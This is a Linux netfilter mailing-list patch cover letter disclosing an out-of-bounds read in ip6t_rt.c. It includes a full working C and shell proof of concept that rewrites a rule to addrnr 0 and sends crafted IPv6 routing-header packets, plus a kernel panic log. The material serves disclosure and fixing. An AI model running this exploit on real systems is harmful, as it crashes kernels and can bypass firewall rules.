[PATCH nf 0/1] netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read
Ren Wei <[email protected]>
| Newsgroups | gmane.comp.security.firewalls.netfilter.devel |
|---|---|
| Message-ID | <[email protected]> |
From: Luxiao Xu <[email protected]> Hi Linux kernel maintainers, We found and validated an issue in net/ipv6/netfilter/ip6t_rt.c. The bug is reachable by an unprivileged user via user and network namespaces (requiring CAP_NET_ADMIN in the local namespace). We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: In net/ipv6/netfilter/ip6t_rt.c, rt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0. When evaluating IPv6 packets with IP6T_RT_FST_NSTRICT (non-strict routing match), rt_mt6() iterates over the packet's routing addresses and compares each candidate address with rtinfo->addrs[i] before checking whether i has reached addrnr: if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) { i++; } if (i == rtinfo->addrnr) break; When addrnr is 0, if the first packet routing address matches rtinfo->addrs[0], i is incremented to 1. Because i is now strictly greater than addrnr (0), the loop termination condition (i == rtinfo->addrnr) will never be satisfied. If a crafted IPv6 packet contains consecutive matching routing addresses, i will advance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal() reads 16 bytes from rtinfo->addrs[16], which extends beyond struct ip6t_rt into the adjacent xtables object. This results in an out-of-bounds memory read, triggering UBSAN out-of-bounds warnings or kernel panics. Additionally, this logic flaw causes rt_mt6() to return false when the first address matches, allowing packets to bypass firewall rules intended to match an empty non-strict sequence. Reproducer: make ./poc.sh (or manually: unshare -Urn ./poc) We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------ #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <linux/in6.h> #include <linux/netfilter/x_tables.h> #include <linux/netfilter_ipv6/ip6_tables.h> #include <linux/netfilter_ipv6/ip6t_rt.h> #include <linux/ipv6.h> #include <netinet/in.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define TABLE_NAME "raw" #define PROBE_ADDR "::1" #define RULE_ADDR_COUNT 16 #define TRIGGER_ADDR_COUNT 17 struct table_blob { struct ip6t_getinfo info; struct ip6t_get_entries *entries; socklen_t entries_len; }; static void die_perror(const char *what) { perror(what); exit(EXIT_FAILURE); } static void die_msg(const char *what) { fprintf(stderr, "%s\n", what); exit(EXIT_FAILURE); } static int open_ctl_socket(void) { int fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (fd < 0) die_perror("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)"); return fd; } static void run_cmd(const char *cmd) { int ret = system(cmd); if (ret != 0) { fprintf(stderr, "command failed (%d): %s\n", ret, cmd); exit(EXIT_FAILURE); } } static struct table_blob fetch_table(int fd) { struct table_blob blob; socklen_t len = sizeof(blob.info); memset(&blob, 0, sizeof(blob)); strncpy(blob.info.name, TABLE_NAME, sizeof(blob.info.name) - 1); if (getsockopt(fd, IPPROTO_IPV6, IP6T_SO_GET_INFO, &blob.info, &len) < 0) die_perror("getsockopt(IP6T_SO_GET_INFO)"); blob.entries_len = sizeof(*blob.entries) + blob.info.size; blob.entries = calloc(1, blob.entries_len); if (!blob.entries) die_perror("calloc(entries)"); strncpy(blob.entries->name, TABLE_NAME, sizeof(blob.entries->name) - 1); blob.entries->size = blob.info.size; len = blob.entries_len; if (getsockopt(fd, IPPROTO_IPV6, IP6T_SO_GET_ENTRIES, blob.entries, &len) < 0) die_perror("getsockopt(IP6T_SO_GET_ENTRIES)"); return blob; } static void free_table(struct table_blob *blob) { free(blob->entries); memset(blob, 0, sizeof(*blob)); } static struct ip6t_entry *find_rt_rule(struct table_blob *blob, struct xt_entry_match **match_out) { unsigned int off; for (off = 0; off < blob->info.size; ) { struct ip6t_entry *entry = (void *)blob->entries->entrytable + off; unsigned int i; for (i = sizeof(*entry); i < entry->target_offset; ) { struct xt_entry_match *match = (void *)entry + i; if (strcmp(match->u.user.name, "rt") == 0) { if (match_out) *match_out = match; return entry; } i += match->u.match_size; } off += entry->next_offset; } return NULL; } static uint64_t current_rule_packets(int fd, uint8_t *addrnr_out) { struct table_blob blob = fetch_table(fd); struct xt_entry_match *match = NULL; struct ip6t_entry *entry = find_rt_rule(&blob, &match); struct ip6t_rt *rtinfo; uint64_t packets; if (!entry || !match) die_msg("rt rule not found in table"); rtinfo = (struct ip6t_rt *)match->data; if (addrnr_out) *addrnr_out = rtinfo->addrnr; packets = (uint64_t)entry->counters.pcnt; free_table(&blob); return packets; } static void show_rule_state(int fd) { struct table_blob blob = fetch_table(fd); struct xt_entry_match *match = NULL; struct ip6t_entry *entry = find_rt_rule(&blob, &match); struct ip6t_rt *rtinfo; if (!entry || !match) die_msg("rt rule not found in table"); rtinfo = (struct ip6t_rt *)match->data; printf("table=%s size=%u num_entries=%u rule_packets=%llu match_size=%u addrnr=%u flags=0x%02x invflags=0x%02x\n", TABLE_NAME, blob.info.size, blob.info.num_entries, (unsigned long long)entry->counters.pcnt, match->u.match_size, rtinfo->addrnr, rtinfo->flags, rtinfo->invflags); free_table(&blob); } static char *build_addr_list(void) { char *buf; size_t len = RULE_ADDR_COUNT * (strlen(PROBE_ADDR) + 1); unsigned int i; buf = calloc(1, len + 1); if (!buf) die_perror("calloc(addr list)"); for (i = 0; i < RULE_ADDR_COUNT; i++) { strcat(buf, PROBE_ADDR); if (i + 1 != RULE_ADDR_COUNT) strcat(buf, ","); } return buf; } static void install_base_rule(void) { char *addr_list = build_addr_list(); char cmd[1024]; run_cmd("/usr/sbin/ip link set lo up"); run_cmd("/usr/sbin/ip6tables-legacy -t raw -F"); snprintf(cmd, sizeof(cmd), "/usr/sbin/ip6tables-legacy -t raw -A OUTPUT -m rt --rt-type 0 " "--rt-0-addrs '%s' --rt-0-not-strict -j ACCEPT", addr_list); run_cmd(cmd); free(addr_list); } static void mutate_rule(int fd) { struct table_blob blob = fetch_table(fd); struct xt_entry_match *match = NULL; struct ip6t_entry *entry = find_rt_rule(&blob, &match); struct ip6t_rt *rtinfo; size_t repl_len; struct ip6t_replace *repl; struct xt_counters *counters; struct table_blob after; struct xt_entry_match *after_match = NULL; struct ip6t_entry *after_entry; struct ip6t_rt *after_rtinfo; if (!entry || !match) die_msg("rt rule not found before mutation"); rtinfo = (struct ip6t_rt *)match->data; printf("[*] before replace: flags=0x%02x invflags=0x%02x addrnr=%u match_size=%u packets=%llu\n", rtinfo->flags, rtinfo->invflags, rtinfo->addrnr, match->u.match_size, (unsigned long long)entry->counters.pcnt); rtinfo->addrnr = 0; repl_len = sizeof(*repl) + blob.info.size; repl = calloc(1, repl_len); counters = calloc(blob.info.num_entries, sizeof(*counters)); if (!repl || !counters) die_perror("calloc(replace)"); strncpy(repl->name, TABLE_NAME, sizeof(repl->name) - 1); repl->valid_hooks = blob.info.valid_hooks; repl->num_entries = blob.info.num_entries; repl->size = blob.info.size; memcpy(repl->hook_entry, blob.info.hook_entry, sizeof(repl->hook_entry)); memcpy(repl->underflow, blob.info.underflow, sizeof(repl->underflow)); repl->num_counters = blob.info.num_entries; repl->counters = counters; memcpy(repl->entries, blob.entries->entrytable, blob.info.size); if (setsockopt(fd, IPPROTO_IPV6, IP6T_SO_SET_REPLACE, repl, repl_len) < 0) die_perror("setsockopt(IP6T_SO_SET_REPLACE)"); after = fetch_table(fd); after_entry = find_rt_rule(&after, &after_match); if (!after_entry || !after_match) die_msg("rt rule missing after replace"); after_rtinfo = (struct ip6t_rt *)after_match->data; printf("[*] after replace: flags=0x%02x invflags=0x%02x addrnr=%u packets=%llu\n", after_rtinfo->flags, after_rtinfo->invflags, after_rtinfo->addrnr, (unsigned long long)after_entry->counters.pcnt); if (after_rtinfo->addrnr != 0) die_msg("addrnr was not mutated to zero"); free_table(&after); free(counters); free(repl); free_table(&blob); } static void set_panic_on_warn(void) { FILE *fp = fopen("/proc/sys/kernel/panic_on_warn", "w"); if (!fp) return; fputs("1\n", fp); fclose(fp); } static void send_rthdr_packet_from_list(const struct in6_addr *addrs, unsigned int addr_count) { struct sockaddr_in6 dst; struct ipv6_rt_hdr *rh; unsigned char *packet; size_t payload_len = sizeof(struct rt0_hdr) + addr_count * sizeof(struct in6_addr); size_t packet_len = sizeof(struct ipv6hdr) + payload_len; uint32_t vtc_flow; uint16_t plen; int fd; int on = 1; unsigned int i; fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (fd < 0) die_perror("socket(sender)"); if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0) die_perror("setsockopt(IPV6_HDRINCL)"); packet = calloc(1, packet_len); if (!packet) die_perror("calloc(packet)"); vtc_flow = htonl(6U << 28); memcpy(packet, &vtc_flow, sizeof(vtc_flow)); plen = htons(payload_len); memcpy(packet + 4, &plen, sizeof(plen)); packet[6] = IPPROTO_ROUTING; packet[7] = 64; packet[23] = 1; packet[39] = 1; rh = (struct ipv6_rt_hdr *)(packet + sizeof(struct ipv6hdr)); rh->nexthdr = IPPROTO_NONE; rh->hdrlen = addr_count * 2; rh->type = 0; rh->segments_left = 0; for (i = 0; i < addr_count; i++) { memcpy(packet + sizeof(struct ipv6hdr) + sizeof(struct rt0_hdr) + i * sizeof(addrs[i]), &addrs[i], sizeof(addrs[i])); } memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; dst.sin6_addr = in6addr_loopback; if (sendto(fd, packet, packet_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) die_perror("sendto(raw ipv6 hdrincl)"); free(packet); close(fd); } static void send_rthdr_packet(unsigned int addr_count) { struct in6_addr *addrs; unsigned int i; addrs = calloc(addr_count, sizeof(*addrs)); if (!addrs) die_perror("calloc(default addrs)"); for (i = 0; i < addr_count; i++) { if (inet_pton(AF_INET6, PROBE_ADDR, &addrs[i]) != 1) die_msg("inet_pton(PROBE_ADDR) failed"); } send_rthdr_packet_from_list(addrs, addr_count); free(addrs); } static void send_rthdr_packet_from_file(const char *path) { struct stat st; struct in6_addr *addrs; FILE *fp; size_t count; if (stat(path, &st) != 0) die_perror("stat(address file)"); if (st.st_size == 0 || (st.st_size % sizeof(struct in6_addr)) != 0) die_msg("address file length must be a non-zero multiple of 16"); count = st.st_size / sizeof(struct in6_addr); addrs = calloc(count, sizeof(*addrs)); if (!addrs) die_perror("calloc(file addrs)"); fp = fopen(path, "rb"); if (!fp) die_perror("fopen(address file)"); if (fread(addrs, sizeof(*addrs), count, fp) != count) die_perror("fread(address file)"); fclose(fp); send_rthdr_packet_from_list(addrs, count); free(addrs); } int main(int argc, char **argv) { int ctl_fd; uint8_t addrnr; uint64_t before; uint64_t after; char lockfile[128]; unsigned int send_count = TRIGGER_ADDR_COUNT; if (geteuid() != 0) die_msg("run as root or inside a user namespace with CAP_NET_ADMIN/CAP_NET_RAW"); snprintf(lockfile, sizeof(lockfile), "/tmp/xtables.lock.%ld", (long)getpid()); if (setenv("XTABLES_LOCKFILE", lockfile, 1) != 0) die_perror("setenv(XTABLES_LOCKFILE)"); if (argc >= 2 && strcmp(argv[1], "send") == 0) { if (argc >= 3) send_count = strtoul(argv[2], NULL, 0); send_rthdr_packet(send_count); return 0; } if (argc >= 3 && strcmp(argv[1], "sendfile") == 0) { send_rthdr_packet_from_file(argv[2]); return 0; } ctl_fd = open_ctl_socket(); if (argc >= 2 && strcmp(argv[1], "show") == 0) { show_rule_state(ctl_fd); close(ctl_fd); return 0; } if (argc >= 2 && strcmp(argv[1], "install") == 0) { install_base_rule(); show_rule_state(ctl_fd); close(ctl_fd); return 0; } if (argc >= 2 && strcmp(argv[1], "mutate") == 0) { mutate_rule(ctl_fd); show_rule_state(ctl_fd); close(ctl_fd); return 0; } printf("[*] installing a valid IPv6 raw OUTPUT rt rule via ip6tables-legacy\n"); install_base_rule(); before = current_rule_packets(ctl_fd, &addrnr); printf("[*] probe with valid rule: addrnr=%u packets_before=%llu\n", addrnr, (unsigned long long)before); send_rthdr_packet(TRIGGER_ADDR_COUNT); after = current_rule_packets(ctl_fd, &addrnr); printf("[*] probe result: addrnr=%u packets_after=%llu\n", addrnr, (unsigned long long)after); if (after != before + 1) die_msg("routing-header probe did not hit the valid rt rule"); printf("[*] mutating rt addrnr from 16 to 0 through IP6T_SO_SET_REPLACE\n"); mutate_rule(ctl_fd); set_panic_on_warn(); printf("[*] triggering malformed rule with a %u-address RH0 packet\n", TRIGGER_ADDR_COUNT); fflush(stdout); send_rthdr_packet(TRIGGER_ADDR_COUNT); printf("[-] packet sent but no crash was observed\n"); close(ctl_fd); return EXIT_FAILURE; } ------BEGIN poc.sh------ #!/bin/sh set -eu PATH=/usr/sbin:/usr/bin:/sbin:/bin PROG="${PROG:-./poc}" TRACE=/sys/kernel/debug/tracing EVENT=rtprobe ADDR_FILE=/tmp/rt_addrs.bin QCOUNT=60 cleanup() { if [ -e "$TRACE/events/kprobes/$EVENT/enable" ]; then echo 0 > "$TRACE/events/kprobes/$EVENT/enable" 2>/dev/null || true fi if [ -e "$TRACE/kprobe_events" ] && grep -q "$EVENT" "$TRACE/kprobe_events" 2>/dev/null; then echo "-:$EVENT" > "$TRACE/kprobe_events" 2>/dev/null || true fi } trap cleanup EXIT if [ "$(id -u)" -ne 0 ]; then echo "run as root" >&2 exit 1 fi if [ ! -x "$PROG" ]; then echo "helper binary not found: $PROG" >&2 exit 1 fi args= i=0 while [ "$i" -lt "$QCOUNT" ]; do off=$((276 + i * 8)) args="$args q$i=+$off(+8(%si)):x64" i=$((i + 1)) done echo "[*] installing the legacy raw table rule and mutating addrnr to zero" "$PROG" install >/tmp/poc_rt_setup.log 2>&1 "$PROG" mutate >>/tmp/poc_rt_setup.log 2>&1 sleep 1 echo "[*] sampling the in-kernel bytes after addrs[15] via kprobe tracing" echo > "$TRACE/trace" echo "p:$EVENT rt_mt6$args" > "$TRACE/kprobe_events" echo 1 > "$TRACE/events/kprobes/$EVENT/enable" "$PROG" send 17 sleep 1 trace_line=$(grep 'q0=0x2800000000' "$TRACE/trace" | head -n 1 || true) if [ -z "$trace_line" ]; then echo "failed to capture the mutated rt rule trace line" >&2 cat "$TRACE/trace" >&2 || true exit 1 fi python3 - "$trace_line" "$ADDR_FILE" <<'PY' import re import struct import sys line = sys.argv[1] path = sys.argv[2] qs = {} for idx, value in re.findall(r'q(\d+)=0x([0-9a-fA-F]+)', line): qs[int(idx)] = int(value, 16) for idx in range(60): if idx not in qs: raise SystemExit(f"missing q{idx} in trace line") blob = bytearray((b'\x00' * 15 + b'\x01') * 16) for idx in range(0, 60, 2): blob += struct.pack('<Q', qs[idx]) blob += struct.pack('<Q', qs[idx + 1]) blob += b'\x00' * 16 with open(path, 'wb') as fp: fp.write(blob) print(f"generated {len(blob) // 16} routing addresses in {path}") PY cleanup trap - EXIT echo 1 > /proc/sys/kernel/panic_on_warn echo "[*] sending the extended RH0 packet that walks rt_mt6 past the table allocation" exec "$PROG" sendfile "$ADDR_FILE" ------END poc.sh-------- ----BEGIN crash log---- [ 2153.929267][T12258] Kernel panic - not syncing: UBSAN: panic_on_warn set ... [ 2153.930471][T12258] CPU: 1 UID: 0 PID: 12258 Comm: poc Not tainted 6.12.95 #2 [ 2153.931467][T12258] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2153.933097][T12258] Call Trace: [ 2153.933566][T12258] <TASK> [ 2153.934003][T12258] panic+0x533/0x610 [ 2153.934592][T12258] ? __pfx_panic+0x10/0x10 [ 2153.935229][T12258] ? __pfx__printk+0x10/0x10 [ 2153.935937][T12258] check_panic_on_warn+0x61/0x80 [ 2153.936637][T12258] __ubsan_handle_out_of_bounds+0xe7/0x100 [ 2153.937448][T12258] rt_mt6+0xbd8/0xdc0 [ 2153.938027][T12258] ? __pfx_rt_mt6+0x10/0x10 [ 2153.938510][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.939123][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.939725][T12258] ? __lock_acquire+0xc96/0x3c40 [ 2153.940301][T12258] ip6t_do_table+0x7bd/0x1d90 [ 2153.940865][T12258] ? __pfx___lock_acquire+0x10/0x10 [ 2153.941458][T12258] ? __pfx_ip6t_do_table+0x10/0x10 [ 2153.942022][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.942642][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.943242][T12258] ? rcu_is_watching+0x12/0xc0 [ 2153.943770][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.944369][T12258] ? trace_lock_acquire+0x145/0x1c0 [ 2153.944959][T12258] nf_hook_slow+0xa9/0x1f0 [ 2153.945455][T12258] rawv6_sendmsg+0x26fd/0x3b60 [ 2153.946020][T12258] ? __pfx_rawv6_sendmsg+0x10/0x10 [ 2153.946590][T12258] ? tomoyo_check_inet_address+0x3b0/0x650 [ 2153.947237][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.947855][T12258] ? __pfx_dst_output+0x10/0x10 [ 2153.948374][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.949030][T12258] ? aa_sk_perm+0x1d8/0x8d0 [ 2153.949524][T12258] ? __pfx_lock_release+0x10/0x10 [ 2153.950132][T12258] ? __sys_sendto+0x32e/0x3a0 [ 2153.950640][T12258] __sys_sendto+0x32e/0x3a0 [ 2153.951131][T12258] ? __pfx___sys_sendto+0x10/0x10 [ 2153.951782][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.952377][T12258] ? __sys_setsockopt+0x144/0x1c0 [ 2153.952948][T12258] __x64_sys_sendto+0xe0/0x1c0 [ 2153.953460][T12258] ? do_syscall_64+0x93/0x270 [ 2153.953971][T12258] ? srso_alias_return_thunk+0x5/0xfbef5 [ 2153.954567][T12258] ? lockdep_hardirqs_on+0x7b/0x110 [ 2153.955122][T12258] do_syscall_64+0xc7/0x270 [ 2153.955631][T12258] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 2153.956272][T12258] RIP: 0033:0x7f7b5014e687 [ 2153.956757][T12258] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 2153.958028][T12258] RSP: 002b:00007ffef4b78b20 EFLAGS: 00000202 ORIG_RAX: 000000000000002c [ 2153.958533][T12258] RAX: ffffffffffffffda RBX: 00007f7b500bc740 RCX: 00007f7b5014e687 [ 2153.959028][T12258] RDX: 0000000000000320 RSI: 0000560105516950 RDI: 0000000000000003 [ 2153.959509][T12258] RBP: 000000000000002f R08: 00007ffef4b78b90 R09: 000000000000001c [ 2153.959998][T12258] R10: 0000000000000000 R11: 0000000000000202 R12: 00000000000002f0 [ 2153.960475][T12258] R13: 000000000000f802 R14: 0000560105516950 R15: 0000000000000320 [ 2153.961000][T12258] </TASK> [ 2153.961498][T12258] Kernel Offset: disabled [ 2153.961890][T12258] Rebooting in 86400 seconds.. -----END crash log----- Best regards, Luxiao Xu Ren Wei Luxiao Xu (1): netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read net/ipv6/netfilter/ip6t_rt.c | 6 ++++++ 1 file changed, 6 insertions(+) -- 2.43.0